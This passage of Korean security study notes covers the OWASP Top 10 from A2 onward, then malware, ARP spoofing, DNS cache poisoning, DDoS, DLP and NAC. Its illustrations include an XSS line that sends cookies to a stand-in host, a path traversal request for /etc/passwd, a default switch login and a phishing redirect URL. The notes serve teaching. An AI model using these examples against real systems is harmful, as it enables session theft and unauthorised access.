▣ 위협요인 - 자신의 계정을 소유하고 있는 사용자 - 타인의 계정을 훔치려는 익명의 외부 공격자 - 자신의 행위를 숨기려고 하는 내부사용자 ▣ 공격경로 - 공격자가 사용자를 위장하기 위해 인증이나 세션 정보 가로채기 ▣ 보안 취약점 - 바르게 구축하지 않은 인증 및 세션 관리체계 - 로그아웃, 패스워드관리, 타임아웃, 사용자정보기억, 비밀번호 찾기 질문, 계정 업데이트 등의 보안 결함 ▣ 기술적 영향 - 일부 혹은 모든 계정에 대한 공격을 허용. - 성공하는 즉시 해당 계정이 할 수 있는 모든 것을 할 수 있기 때문에 특별한 권한이 부여된 계정은 빈번한 공격의 대상 ▣ 비즈니스적 영향 - 영향을 받는 데이터나 어플리케이션 기능의 비즈니스적 가치를 고려 - 취약점의 공개적 노출에 대한 비즈니스 영향 고려 ▣ 방지책 - 강력한 인증 및 세션 관리 통제의 단일 체계화 - 세션ID를 도용하는 데 사용될 수 있는 XSS 취약점 차단
A3 - 크로스 사이트 스크립팅 (XSS)
▣ 위협요인
- 외부/내부 사용자, 관리자를 포함하여 시스템에 신뢰할 수 없는 데이터를 보낼 수 있는 사람
▣ 공격경로
- 공격자는 정상 사용자가 접근하는 어플리케이션(게시판, Link, 이메일)에 공격용 스크립트 삽입
- 일반 사용자들이 해당 어플리케이션에 접근하면 공격스크립트 노출
- 공격자는 관련 스크립트로 사용자 주요 정보 및 2차 공격시도
(ex) = “ http://10.10.10.1/GetCookie.asp?cookie=” +document.cookie(사용자 쿠키를 Get하여 공격자에게 전송하는 스크립트)
▣ 보안 취약점
- 사용자가 전송하는 내용에 대해 웹 어플리케이션이 적절한 검증이나 제한을 하지 않음
- 결함형태 : Stored, Reflected, DOM
- 대부분의 결함은 테스트나 코드분석을 통해 쉽게 탐지 가능
▣ 기술적 영향
- 공격자는 사용자 세션 가로채기, 웹사이트변조, 악성 컨텐츠 삽입, 사용자 리 다이렉트, 악성코드를 사용해 사용자 브라우저 세션 가로채기 등을 사용해 브라우저에 스크립트를 실행
▣ 비즈니스적 영향
- 영향 받는 시스템과 시스템이 처리하는 모든 데이터의 비즈니스 가치 고려
- 취약점의 공개적 노출이 비즈니스에 미치는 영향 고려
▣ 방지책
- 사용자 주요 정보는 브라우저 쿠키에 저장하지 않도록 설정
- 스크립트코드의 특수문자 필터링 및 디코딩(“”)
- 게시판 등에서 꼭 필요한 경우에만 HTML 코드 사용하도록 함
- 스크립트 무효화(“JavaScript” -> “x-JavaScript”로 치환)
A4 - 취약한 직접 객체 참조 (Insecure Direct Object References)
▣ 위협요인 - 유형별 시스템 데이터에 접근하는 사용자 ▣ 공격경로 - 권한을 가진 시스템의 사용자인 공격자가, 한 시스템 객체로부터 권한을 갖지 않은 다른 객체로 직접 참조하기 위해 변수 값 변경 (ex) download.php?/var/etc/passwd(인증관련 파일에 대해 접근시도 ▣ 보안 취약점 - 웹 페이지를 생성할 때 종종 실제 이름이나 키 값을 사용 - 사용자가 대상 객체에 대한 권한을 갖고 있는지 항상 검증하지 않음 - 안전하지 않은 직접 객체참조에 대한 결함에 노출 ▣ 기술적 영향 - 변수 값을 참조하는 모든 데이터가 영향 받음 - 변수 명명에 규칙이 있는 경우, 공격자가 모든 가능한 데이터에 대해 쉽게 접근 ▣ 비즈니스적 영향 - 노출되는 데이터의 비즈니스적 가치를 고려 - 취약점의 공개적 노출에 대한 비즈니스 영향 고려 ▣ 방지책 - 사용자들이 접근하는 객체를 보호하는 접근 방식 보안 강화 - 사용자 혹은 세션당 간접 객체 참조를 사용 - 요청한 객체가 사용자에게 접근이 허용되었는지 확인
A5 - 보안 설정 오류 (Security Misconfiguration)
▣ 위협요인
- 자신의 계정을 소유한 정상적인 사용자
- 익명의 외부 공격자, 행동을 숨기고 싶어 하는 내부사용자
▣ 공격경로
- 공개 어플리케이션의 관리자 디폴트계정을 변경하지 않음
- 사용되지 않는 페이지, 패치 되지 않은 결함과 보호되지 않은 파일과 디렉토리
(ex) 이전 3com 스위치의 기본관리자 계정: manager/manager
▣ 보안 취약점
- 보안상 잘못된 구성을 플랫폼, 웹 서버, 어플리케이션 서버, 프레임워크, 커스텀 코드를 포함한 어떤 단계에서도 발생
- 개발자와 네트워크 관리자들이 전체 구조가 적절히 구성되었는지 확실히 하기 위한 협조 필요
- 자동화된 스캐너는 설치되지 않은 패치, 부적절한 구성, 디폴트계정의 사용, 불필요한 서비스 등을 탐지하는데 유용
▣ 기술적 영향
- 공격자가 시스템 데이터와 기능에 허용되지 않은 접근 가능
- 완벽한 시스템의 손상 가능
▣ 비즈니스적 영향
- 시스템이 알지 못하게 완전히 손상될 가능성.
- 모든 데이터가 도난 되거나 조작될 수 있음
- 높은 복구 비용 발생 가능성
▣ 방지책
- 반복 가능한 보안 강화프로세스, 개발, 품질보증, 생산 환경 모두에서 동일하게 구성 되어야 함
- 새로운 소프트웨어 업데이트와 패치를 각각의 배치 환경에서 시기 적절하게 배포와 최신 수준을 유지하기 위한 프로세스
- 구성요소들 사이에서 좋은 분리와 보안을 제공 하기 위한 강력한 어플리케이션 아키텍처
- 정기적 스캐닝과 감사의 수행
A6 - 민감 데이터 노출 (Sensitive Data Exposure)
▣ 위협요인 - 인터넷상에서 사용자의 네트워크 트래픽을 모니터링 하는 사람 - 입력 데이터의 검증로직이 미흡한 경우 - 개인정보 입력을 유도하는 악의적인 사이트 ▣ 공격경로 - 공격자는 피해자의 SSL 로그인 이후의 event를 네트워크 모니터링 하여 쿠키 및 인증 정보 가로채기 - SQL Injection - 스푸핑 ▣ 보안 취약점 - 인증하는 동안 SSL/TLS를 사용할지 모르지만, 가로챔으로 데이터나 세션ID 노출 - 만료되었거나 부적절하게 설정된 인증서들 - 사이트의 네트워크 트래픽을 관찰만으로 발견될 수 있는 결함 - 입력데이터의 검증로직 미흡 ▣ 기술적 영향 - 개인사용자들이 데이터를 노출시키고 계정 탈취에 이용 - 관리자 계정이 탈취된 경우, 전체 사이트가 노출 - 피싱과 MITM 공격을 야기할 수 있는 취약한 SSL 설정 ▣ 비즈니스적 영향 - 비밀성과 무결성, 상호 인증 요구 사항의 입장에서 통신 채널에서 노출된 데이터의 비즈니스 가치를 고려 ▣ 방지책 - 모든 민감한 페이지는 SSL 처리 (해당 페이지에 대한 non-SSL 요청은 SSL 페이지로 리다이렉트) - 모든 민감한 쿠키는 'secure' 플래그를 설정 - 인증서 유효 여부, 만기 여부, 폐기 여부 검증 강화 - 입력데이터의 SQL Injection 검증로직 처리
A7 - 기능 수준의 접근 통제 누락 (Missing Function Level Access Control)
▣ 위협요인 - 비 공개페이지에 접속 하거나 일반 사용자가 특권페이지에 접속 ▣ 공격경로 - 주요 웹 페이지에 권한 인증 없이 URL을 통해 접속 ▣ 보안 취약점 - 특정 권한 웹 페이지(URL)에 대한 쉬운 예측 ▣ 기술적 영향 - 공격자가 허가되지 않은 기능에 접근 하도록 허용 - 관리적 기능들은 이러한 공격의 주된 목표임 ▣ 비즈니스적 영향 - 노출된 기능과 그 기능이 처리하는 데이터의 비즈니스 가치를 고려 - 취약덤이 공개될 경우, 명성에 미칠 영향을 고려 ▣ 방지책 - 각 페이지에 적절한 인증 및 접근 제어를 요구하는 접근 방식의 선택이 필요 - 인증 및 접근 제어 정책은 역할 기반 정책으로 관리 (정책 유지를 위한 노력을 최소화) - 강제화 메커니즘은 기본적으로 모든 접근을 차단해야 함. - 모든 페이지에 대해 접근을 위한 사용자와 역할을 구체적으로 명확히 부여하는 값이 요구됨 - 페이지가 워크플로우와 관련된 경우, 페이지에 대한 접근이 허가되는 적절한 상태에서 조건이 있는지 확인
A8 - 크로스 사이트 요청 변조 (CSRF)
▣ 위협요인
- 사용자의 접근이라고 속일 수 있는 요청을 보낼 수 있는 어떤 웹사이트나 HTML피드
▣ 공격경로
- 웹 서버 관리자 등 피해자가 웹 서버에 로그인 함
- 공격자는 변조된 HTTP 요청을 생성하여 게시판에 올림
- 피해자가 해당 게시판을 읽으면 피해자 세션으로 피해자가 원하지 않은 공격시도가 이루어짐
(ex) <img></img>
▣ 보안 취약점
- 브라우저는 세션 쿠키와 같은 자격 증명 정보들을 자동으로 전송하기 때문에 공격자는 정상적인 요청과 구별할 수 없는 변조된 요청을 포함한 악성 웹 페이지를 만듦.
- 일반적인 게시판에서 자바스크립트는 차단하나 이미지 GET 메소드는 허용
▣ 기술적 영향
- 공격자는 피해자의 권한이 허락하는 범위 내에서 어떤 데이터를 변화시키거나 특정 기능을 실행 하도록 함.
- 관리자 권한으로 우회 공격 하므로 공격자 IP 추적 불가
▣ 비즈니스적 영향
- 영향 받는 데이터나 어플리케이션 기능의 비즈니스 가치를 고려
- 명성에 영향을 줄 수 있는지 고려
▣ 방지책
- 사용자 세션 외에 추가적인 인증 절차 수립(토큰)
- 관리자 권한으로 게시판의 내용을 읽지 못하도록 방지
A9 - 알려진 취약점이 있는 컴포넌트 사용 (Using Components with Known Vulnerabilities)
▣ 위협요인
- 잘 알려진 컴포넌트 또는 라이브러리의 취약점
▣ 공격경로
- 널리 알려진 Spring(expression language injection), Apache CXF(Authentication bypass), Struts2(Remote code execution) 등의 취약점을 이용하여 공격 대상 공격 권한 획득 또는 중요 정보 취득
▣ 보안 취약점
- Injection, 인증우회, 원격 코드 실행과 같은 취약점 노출 가능
▣ 기술적 영향
- Injection을 통한 중요 정보 유출 및 인증우회, 시스템 장악 가능
- 인증우회를 통한 관리자 권한 획득 가능
- 원격 코드 실행을 통한 중요 정보 획득 가능
▣ 비즈니스적 영향
- 사고 발생 시, 사업에 미칠 수 있는 영향도를 충분히 고려
▣ 방지책
- 취약점이 알려진 컴포넌트 또는 라이브러리, 어플리케이션에 대한 사용지양 또는 최신 업데이트 사용
- 취약점 존재 컴포넌트를 꼭 사용해야 하는 경우 알려진 문제에 대한 대비책 마련 필수
- 다중 보안 시스템의 적용으로 취약점 노출 시에도 취약점 고립화를 통한 2차 3차 피해 차단
A10 - 검증되지 않은 리다이렉트 및 포워드 (Unvalidated Redirects and Forwards)
▣ 위협요인
- 웹사이트에 요청을 제출한 사용자를 속일 수 있는 사이트나 HTML 피드
▣ 공격경로
- 공격자는 승인되지 않은 리다이렉트로 연결하고 클릭을 하도록 피해자를 속임
- 피해자는 그 연결이 정상적인 값으로 간주하고 클릭
(ex) http://target/login.php?redirect=http://fishing/taget/php
▣ 보안 취약점
- 종졸 목적 페이지는 확인되지 않은 파라미터에 지정되어, 공격자가 목적지 페이지를 선택할 수 있음
- 확인되지 않은 리다이렉트의 탐지는 용이
▣ 기술적 영향
- 패스워드나 다른 민감한 정보 노출을 하도록 피해자를 속이거나 악성코드의 설치를 시도할 수 있음
▣ 비즈니스적 영향
- 사용자의 신뢰를 유지하는 비즈니스 가치 고려
- 악성 코드에 의한 탈취
- 공격자가 내부에서만 가능한 기능 접근 가능성
▣ 방지책
- 리다이렉트와 포워드 사용을 피함
- 목적 페이지 처리시 사용자 파라미터 포함을 피함
- 목적 파라미터를 사용할 경우, 제공된 값이 유효한지, 그 사용자에게 허용된 것인지 체크
- 실제 URL 또는 그 URL의 일부 보다는 맵핑된 값으로 목적 파라미터로 사용하고, 서버에서 그 맵핑 값을 목표 URL로 변환하도록 처리
악성코드
▣ 개념 : 컴퓨터 사용자의 승인 없이 컴퓨터에 침투하거나 설치되어 악성행위를 수행하는 프로그램. ▣ 목적 - 접근권한 취득 - 금전적 이익 취득 - 고의적 파괴 - 리소스 강탈 ▣ 유형 1) 시스템 행동형 - Virus : 숙주필요, 복제/변형/전이 - Worm : 독자실행, 복제 - Trojan Horse : 백도어설치, DDOS - Key-logger - Spy-ware - Ad-ware 2) 시스템 제어용 - Bot : 컴퓨터 제어 - Root-kit : 관리자 권한 획득 - Backboor : 재침입/권한탈취 3) 통합형 - Flame : 행동형, 제어용 포함 ▣ 악성코드 탐지 방법 1) Signature 기반탐지 - 알려진 악성코드 Signature DB 구성 - 알려진 악성코드 빠른 분석 - 오탐/미탐 최소화 - 신종/변종 악성코드, 패킹/난독화/압축 대응 불가 2) 행위 기반탐지 - 트리맵과 스레드 그래프 이용, 시각적 리포트 생성 - 신종/변종 코드 탐지 - 파일, 레지스트리 변경, 네트워크 트래픽 발생 경우 3) 유사도분석 기반탐지 - 제어 흐름 그래프 이용한 방법, 함수의 길이를 이용한 방법, 함수 호출 그래프를 이용한 방법, 바이트 레벨 파일 분석 ▣ 악성코드 분석 방법 - 정적 분석 : Reverse Engineering - 동적 분석 : Emulator, Virtual Machine
악성코드 분석 방법 (정적분석)
▣ 기법/도구 - Reverse Engineering ▣ 개념 - Dis-assembler, Decompiler 이용 역공학, 악성코드 바이너리 파일 실행시키지 않고 분석 ▣ 장점 - 안전하며, 악성코드 구조와 동작 흐름 등 분석 가능 ▣ 단점 - 자동화 어렵고, 노력/시간 많이 소모, 난독화 되었을 경우 분석 불가능
악성코드 분석 방법 (동적분석)
▣ 기법/도구 - Emulator, Virtual Machine ▣ 개념 - 악성코드 실행시켜 수행되는 내용 분석 ▣ 장점 - 정확한 분석 가능, 감연 전 상태 복구 가능 ▣ 단점 - 악성코드 실행 환경 구설 필요, 다양한 동작 흐름 중 일부만 분석 될 수 있음
변종 악성코드를 이용한 정보화의 역기능
▣ 랜섬웨어 - Ransom(몸값) + Ware(제품) - 파일 암호화 후 금전 요구 ▣ 피싱 (Phishing) - Private(개인정보) + Fishing(낚시) - 금융기관 가장 이메일 발송 - 가짜 은행 사이트 접속 유도 ▣ 스미싱 - SMS + Phishing - 무료 쿠폰, 돌잔치, 청첩장 문자 ▣ 파밍 - 사용자 PC 조작 - 정상 사이트에 접속해도 가짜 사이로 유도 ▣ 플로토스 - 미리 연결해둔 스마트폰에서 SMS 전송 ▣ 메모리해킹 - 피해자 PC 메모리에 상주한 악성코드
좀비쿠키
▣ 정의 - 브라우저에 탑재되었거나 플러그인 형식으로 지원되는 로컬 스토리지를 이용하여 웹사이트 접속자의 개인정보와 접속기록을 수집, 일반 쿠키의 영역을 넘어서 개인의 프라이버시 침해 가능한 방법 ▣ 저장소 - HTML5 : Session Storage, Local Storage, Global Storage, SQLLite - Adobe Flash : Local Shared Object - MS Silberlight : Isolated Storage ▣ 실행 매커니즘 1) 해커는 특정 서버를 해킹, 악성코드 플러그인 삽입 2) 사용자는 서버에 접속하여 관련 플러그인 프로그램 실행 3) 해당 플러그인에서 사용자의 로컬 스토리지상에 있는 개인정보 유출 및 온라인 이용 형태 수집 ▣ 대응방안 - 쿠키 데이터 DES, 3DES, RC4 암호화 - 백신 설치, 전문 탐색 툴
스파이웨어
▣ 정의 : 스파이와 소프트웨어의 합성어, 다른 사람의 컴퓨터에 잠입하여 개인정보를 빼내는 악성 소프트웨어 ▣ 특징 - 인터넷을 이용한 사용자 정보 유출 - 원하지 않는 사이트 강제 이동 ▣ 동작원리 - 이벤트 감시 - 에이전트 가동 - 정보수집 - 통신 - 광고 ▣ 예방 - 스파이웨어 프로그램 제거 - 레지스트리 제거 - 보안수준 상향 조정
좀비
▣ 정의 : 사용자의 시스템에 몰래 머무르다가 해커의 명령에 따라 움직이는 컴퓨터 또는 시스템 ▣ 특징 - 바이러스를 다른 컴퓨터에 감염시킴 - 스펨메일의 발신원 - 부정침입 발판 - DDoS공격 근원 ▣ 주요증상 - 사용자 모르게 백신 프로그램 제거 - 최근 지능화로 감지 어려움 ▣ 감염경로 - 방화벽 미설치 PC - 보안관리 소홀한 교육기관 네트워크 ▣ 대응방안 - 엔드 포인트 보안 - 운영체제 보안패치 - 백신 프로그램 설치 및 업데이트
바이러스 (Virus)
▣ 정의 : 감염대상 프로그램에 자신의 코드 및 변형코드를 감염, 네트워크, 컴퓨터 시스템에서 확산하는 프로그램 ▣ 동작원리 - 사용자 몰래 다른 프로그램이 감염되었는지를 확인한 후, 프로그램이 이미 감염되었으면 그대로 두고 그렇지 않으면 프로그램 내부에 자식을 복사 ▣ 감염위치에 따른 분류 - 부트 바이러스 - 파일 바이러스 (.com, .exe) - 부트/파일 바이러스 - 매크로 바이러스 : 문서감염
ARP Spoofing
▣ 정의 : LAN 카드의 고유한 주소인 MAC address를 동일 네트워크에 존재하는 다른 PC의 LAN 카드 주소로 위장, 다른 PC에 전달되어야 하는 정보를 가로채는 MITM 공격 ▣ 유형 - 서버 존 : 모든 사용자 대상 - 클라이언트존 : 로컬 네트워크 대상 ▣ 공격과정 - ARP Request Broadcasting dmv 이용하여 이더넷 상의 모든 호스트의 IP/MAC 주소 매핑 확인 - 각 호스트들에게 위조한 MAC 주소와 포트 매핑 정보 등록 - 공격자는 Cach가 사라지기 전에ARP Replay 지속적으로 전송 ▣ 탐지방법 1) 피해 시스템 - ARP Table 조회 통한 MAC 주소 중복 확인 - 송신 패킷에서 악성코드 유무 검사 - 비정상적 ARP 패킷 수진 확인 - ARP Table 감시 활용 2) 공격 시스템 - ARP Spoofing 실행 프로그램 확인 - 네트워크 어댑터의 동작상태 확인 - ARP 패킷 관찰 ▣ 방지 대책 - 사용자 단말 : 백신 사용 - 시스템 : 정적 ARP TAble 관리, 보안 수준 강화, 중요 패킷 암호화 - 네트워크 장비 : Switch Port Security, 사설 VLAN 기능 활용, L2 보안 스위치 사용
DNS Cache Poisoning Attack
▣ 개념 - 취약한 DNS서버에 조작된 query를 전송하여 DNS 서버가 저장하고 있는 주소 Cache 정보를 임의로 변조하는 공격 ▣ DNS Protocol의 보안 취약점 - Denial of Service - DNS 프로그램 중지 - DNS Spoofing - Pharming - DNS Cache Poisoning ▣ 동작원리 1. 공격자는 네임서버를 가지고 있으며 공격자의 도메인을 cache 서버에 질의 (ex. www.example.com) 2. Cache 서버는 example.com에 대한 정보가 없으며 해당 도메인의 ns 서버에 쿼리를 던짐 (이 도메인의 NS서버는 공격자에 속함) 3. 공격자 네임서버는 example.com의 IP가 200.1.1.10이라는 응답과 additional resolution 레코드를 포함하여 응답을 줌. 이때 정상적인 네임서버의 응답을 방해하기 위해 DoS 공격을 정상 네임서버에게 시도 4. 캐시서버는 공격자의 네임서버에서 준 잘못된 정보를 H시간 동안 캐시 5. 사용자는 www.mybank.com에 대해 쿼리 캐시 서버는 정상적인 IP대신에 변조된 200.1.1.11을 응답하고 사용자는 잘못된 IP로 접속 ▣ 문제점 - 개인정보 가로채기 - Malware 유포 - 거짓정보 유포 - 정자상거래 사이트 위장 ▣ 대응방안 - DNS 최신 버전 유지 - DNS의 Recursion 기능 중지 - 안전한 DNS 사용을 위한 보안 정책 적용 - DNS 버전 숨김 - DNS BIND Disable
DNSSEC
▣ 개념 : 도메인과 IP주소에 대한 공개키 암호화 방식 전자서명 검증 절차를 수행하여 위/변조 대응 가능한 기술
▣ 동작원리
1) A는 개인키 및 공개키로 구성된 서명용 키를 생성
2) A의 공개키는 인터넷 일반에 공개하여 배포
3) A는 B에게 송부할 원본데이터에 대해 서명처리하여 서명(signature) 데이터를 산출
4) A는 “원본데이터”에 “서명” 데이터를 부가하여 인터넷 경유하여 B에게 전송
5) B는 A로부터 “원본데이터”와 “서명” 데이터를 수신
6) B는 A의 공개키를 조회하여 파악
7) B는 A의 공개키를 사용, “원본데이터”, “서명” 대상의 서명검증 수행
8) 서명검증이 정상이면, B가 A로부터 수신한 “원본데이터”에 중간에 위-변조되지 않았음 을 확신
▣ 관리정보
- DNSKEY : 공개키 데이터 저장
- RRSIG : 개인 키의 전자서명 결과값
- DS : 인증된 위임체계 구성 데이터
- NSEC/NSEC3 : DNS데이터 부재 인증 정의
DDOS (Distributed Denial of Service)
▣ 정의 : DoS공격용 프로그램들이 분산 설치 되어 이들이 서로 통합된 형태로 목표 시스템에 대하여 일제히 데이터 패킷을 범람시켜 그 표적 시스템의 성능저하 및 시스템 마비를 일으키는 기법 ▣ 특징 - 대량의 좀비 PC - Agent 설치 - 명령제어서버(C&C) ▣ 공격유형 1) Flooding 공격(패킷 무작위 전송) - non-Spoofing 공격 : SYN, ACK, FIN, RST, UDP/TCP, ICMP flooding, 혼합 flooding 공격 - Spoofing 공격 : SYN, ACK, FIN, RST, UDP/TCP, ICMP flooding, 혼합 flooding 공격 2) 커넥션 기반 공격 (HTTP 커넥션 용량 초과) - HTTP공격 - TCP Connection 공격 : input Queue 마비 - Application 특성 공격 : FTP, Time, VoIP, Email, DNS, DHCP, SQL, Netbios, RPC, Cache Control ▣ 공격탐지 - IDS/IPS : signature 탐지 - DDoS대응 시스템 : L3기반 탐지 우회 - Netflow : 트래픽 패턴 분석 - ACL : Access-list 이용 - MRTG or RRD : MIB데이터 분석 - DNS서버 : DNS query분석 - L7 스위치 : query 임계치 경고 ▣ 차단대책 - URL 차단 : DNS싱크홀, L7 - IP차단 : Blackholing, ACL, uRPF, CAR(Rate-limit), PBR - PORT, Protocol 차단 : L7, ACL ▣ 중장기 대응 전략 - 디도스 예방 인프라 구축 - 전문인력 양성과 보강 - 관계기관 정보보호 협력체계 구축 - 사이버 정보보호 인식 강화
DDOS 공격 유형
▣ Bandwidth 공격 - UDP Flooding - ICMP Flooding - TCP SYN Flooding ▣ Application 공격 - HTTP GET Flooding - HTTP CC Attack - DNS Recode - SIP Method Flooding ▣ Transport (과거공격) - 탐지용이 - IPS/Anti-DDos/QoS/Router 장비로 문제 완화 ▣ Application (최신공격) - 탐지 어려움 - L4 튜닝/웹서버 튜닝/L7 튜닝/Anti-DDos 튜닝/웹 방화벽 튜닝/코드 수정으로 문제완화
SYN Flooding
▣ 개념
- TCP가 데이터를 보내기 전에 연결을 맺어야 하는 연결지향 특성을 이용한 공격방법
- TPC의 3 Way Handshaking 의 SYN패킷의 특성 이용
▣ 절차
- 공격자는 Unreachable한 호스트인 IP 주소로 Spoofing 하여 계속하여 연결요청(SYN/ACK)패킷을 보냄
- Victim은 Unreachable호스트에게 ACK를 받을 때까지 이러한 연결 상태를 계속 큐에 저장
- 시간이 지나면 큐는 Overflow가 발생되고
- 이후에 큐로 들어오는 연결요청은 거부하게 됨
UDP Flooding
▣ 개념
- UDP의 비연결성 및 비신뢰성 때문에 공격이 용이한 방법
- 대표적으로 TFTP, SNMP, 실시간 인터넷 발송이 해당
▣ 절차
- 공격자가 Victim A에게 Source IP Address를 Victim B의 IP Address로 Spoofing 하여 대량의 UDP패킷을 전송
- Victim A, Victim B는 계속해서 서로 패킷을 주고 받게 되어 두 시스템 사이의 네트워크에 과부하가 초래됨
ICMP Flooding
▣ 개념
- 활성화된 서비스나 포트가 필요하지 않는 프로토콜의 특성을 이용하여 공격
- 공격방법으로 Smurf, Welchia worm등이 있음
▣ 절차
- Smurf는 공격자가 Source IP Address를 Victim의 IP Address로 설정한 후
- Broadcast Address로 ICMP echo request 패킷을 전송하면
- 그 하위 모든 시스템들이 ICMP echo replay 패킷을 Victim으로 전송하게 되어 대량의 패킷들이 집중하여 네트워크 부하를 높이게 됨
DLP (Data Loss Prevention)
▣ 정의 - 기업 내부의 민감한 데이터, 지적재산/사업 정보 및 고객개인정보 등의 데이터 유출을 사전에 방지하기 위한 데이터 유출 방지 솔루션 ▣ 필요성 - 유출사고 예방 - 유출사고 실시간 차단 - 감사 및 모니터링 ▣ 주요기능 - 접근제어 : 시스템적, 물리적 - 암호화 - 필터링 : 트래픽 제어 - 엔드포인트 탐색/차단 : 다운로드, USB/CD/DVD/Firewire/SCSI 쓰기 차단 및 위반행위 알림 - 네트워크 탐색 및 차단 : 트래픽 모니터링, 외부전송 차단, 격리, 암호화 - 광범위한 데이터 탐색/차단 : 파일서버, DB서버, 협업시스템, 웹서버 스캔 ▣ 구성요소 1) DLP 관리자 - 정책 관리 - 시스템 관리 - 상황 워크플로 - 보고 및 대시보드 2) DLP 데이터 센터 - 민감데이터 탐색 - 민감데이터 통제 3) DLP 네트워크 - 모니터링 - 데이터 전송 통제 4) DLP 엔드포인트 - 사용자 활동 감시 - 데이터 암호화 ▣ 기술요소 1) 접근제어 : RBAC, XSCML 2) 암호화 : 3DES, AES, RSA 3) 필터링 : 트래픽/컨텐츠 제어 4) 활동감시 : 사전/사후 관리 ▣ 유형 - 엔드포인트 기반 DLP - 네트워크 기반 DLP - 데이터센터 기반 DLP
엔드포인트 기반 DLP
▣ 개념 - 사용자의 각 단말에 DLP 솔루션을 적용하여 핵심 데이터 유출을 사전 차단 ▣ 장점 - 오프라인 상태에서 데이터 보호 가능 - 데이터 암호화 되기 전 데이터 식별 가능 - 비용 대비 높은 효과 기대 가능 ▣ 단점 - 단말 마다 설치 요구 - 다양한 환경과 안전성 확보 곤란 - 악성코드 감염 가능성 존재 - 설치 불가능한 단말이 존재
네트워크 기반 DLP
▣ 개념 - 사내 네트워크 시스템에 DLP 솔루션을 탑재, 패킷 필터링 기능을 통한 제어 ▣ 장점 - 구성이 단순하여 환경에 미치는 영향 최소화 가능 - 상대적으로 적은 비용으로 설치 - 단말 종류와 관계 없이 데이터 보호 가능 ▣ 단점 - 오프라인 상태에서 데이터 보호 불가능 - 암호화 통신시 허점 발생, 컨텐츠 분석에 어려움 존재
데이터센터 기반 DLP
▣ 개념 - 서버 시스템의 스토리지에 DLP를 적용하여 데이터 단위 유출 통제 ▣ 장점 - 정보 사고 유출 가능성 최소화 가능 - 단말 종류와 관계 없이 데이터 보호 가능 ▣ 단점 - 비정형화된 접근과 통신방식으로 인해 유출 통제 곤란
NAC (Network Access Control)
▣ 정의 - 내부 네트워크에 접속부터 종료까지 전 부문에서 예상되는 보안위협에 대해 해소하기 위하여 사용자 인증 및 단말에 대한 무결성 검사, 네트워크 접근제어 및 정책수립을 적용하는 네트워크 보안 기술 ▣ 목적 - Zero-day attack 경감 - 정책의 강제화 : 중간장비 정책 강제화 - 계정 및 접근관리 : 사용자 기준 통제 ▣ 구성요소 - NAC Agent - NAC Guest Server - NAC Manager - NAC Profiler - Directory Service ▣ 주요기능 - 네트워크 접속 전 호스트 상태 평가 - 호스트 격리 및 치료 - ID기반의 사용자 접근권한 통제 - 지속적인 위협분석 및 대응 ▣ 구현방식 (통제방식) - IEEE 802.1x 방식 NAC - VLAN 방식 - ARP 방식 - SW에이전트 방식 - DHCP 방식 ▣ 발전방향 - 네트워크 통합 NAC 적용장비 - NAC 적용 어플라이언스 - NAC 적용 SSL 가상 사설망
NAC IEEE 802.1x 방식
▣ 설치 : IEEE 802 1.x 스위치, Radius 서버 ▣ 개념 - 인증기기는 승인 되지 않거나 적합하지 않은 단말의 네트워크 접속을 차단 - 승인된 단말은 사내 망 접근 허용 ▣ 장점 - Windows와 MAC OS 모두 지원 - 암호화 통신 - 대부분의 AP와 스마트 스위치 지원 - 안정적인 터널 제공 ▣ 단점 - 승인 전 보안상태를 스캔하는 절차 없음 - 스위치, AP, Radius서버, 클라이언트는 EAP타입(PEAP, TTLS)과 암호타입(WEP, WPA, WPA2)를 지원해야 함 - 가장 설치 어려움 - Windows가 지원하는 것이 제한적 - 실패의 경우 기준으로 제시된 해결책 없음 - 별도의 암호화 채택 필요.
NAC ARP 방식
▣ 설치 : VNAL 지원 스위치
▣ 개념
- VLAN을 이용해서 허가된 네트워크 영역과 비허가된 네트워크 영역을 만들어 접속하는 단말의 MAC 주소를 DB와 확인하여 해당 단말을 허가된 VLAN으로 할당시켜 주거나 비허가된 VLAN으로 이동시켜 차단하는 NAC방식
▣ 장점
- 차단된 호스트들은 허가된 호스트들과 다른 VLAN으로 격리되어 보안 탁월
- 우회하기 어려움
▣ 단점
- 사내 모든 스위치 장비들이 VLAN을 지원해야함
- 장비교체의 경우 많은 비용 발생
- 속도가 느림
- 허브나 VLAN 미지원 스위치들, 공유하고 있는 포트, AP에서는 작동 안함
NAC ARP 방식
▣ 설치 : NAC 통제기, 일반스위치 ▣ 개념 - IP Spoofing을 통하여 차단하고자 하는 단말의 ARP 테이블을 조작하여 차단하는 NAC 방식 ▣ 장점 - Layer3 독립적 - 고정된 IP는 우회하지 않음 - 타임아웃 없이 즉각적 고립 - 가장 빠름 - NW 인프라 교체 불필요 ▣ 단점 - ARP는 본래 이용도가 아님 - 한 개의 NW구역당 한 개의 장비 필요 - 디버그 어려움 - 고정 APP는 접근가능
NAC SW 에이전트 방식
▣ 설치 : 인증서버, 일반 스위치, 단말기 ▣ 개념 - 각각의 모든 단말에 에이전트를 설치하는 NAC 방식으로 서버에서 차단정책을 설정하고 설치된 에이전트를 통해 네트워크를 차단 - PC 자체에서 나가는 패킷들을 차단 (PC 방화벽과 유사한 윈리) ▣ 장점 - 원하는 단말에 정확히 적용가능 - 서버와 에이전트가 지속적 통신으로 안정적 - 즉각적인 차단가능 - 네트워크 특성에 구애받지 않음 ▣ 단점 - 에이전트가 설치되어 있지 않은 단말 차단 어려움 - 모든 단말에 에이전트 설치 필요 - 사용자가 임의로 에이전트 무력화 가능
NAC DHCP 방식
▣ 설치 : DHCP 서버, 일반 스위치 ▣ 개념 : VLAN 차단방식과 유사, 허가된 IP대역과 비허가된 IP대역을 만들어 접속하는 단말의 MAC주소를 DB와 확인하여 해당 단말을 허가된 IP대역으로 할당시켜 주거나 비허가된 IP대역의 IP를 할당시켜 차단하는 NAC 방식 ▣ 장점 - 적용하기 가장 쉬운 방식 - DHCP는 발전 완료된 기술(안정적) - 제조사에 무관하게 동작 ▣ 단점 - 고정 IP사용자 차단 불가 - 우회 쉬움 - 신규주소 할당 시 까지 시간소모(느림) - 침점에 대한 조절 어려움 - 특정 사용자가 감염되었거나, 연결 후에 사용자 차단정책 필요 시 어려움
APT (Advanced Persistent Threat) - 광범위한(향상된) 지속적 위협
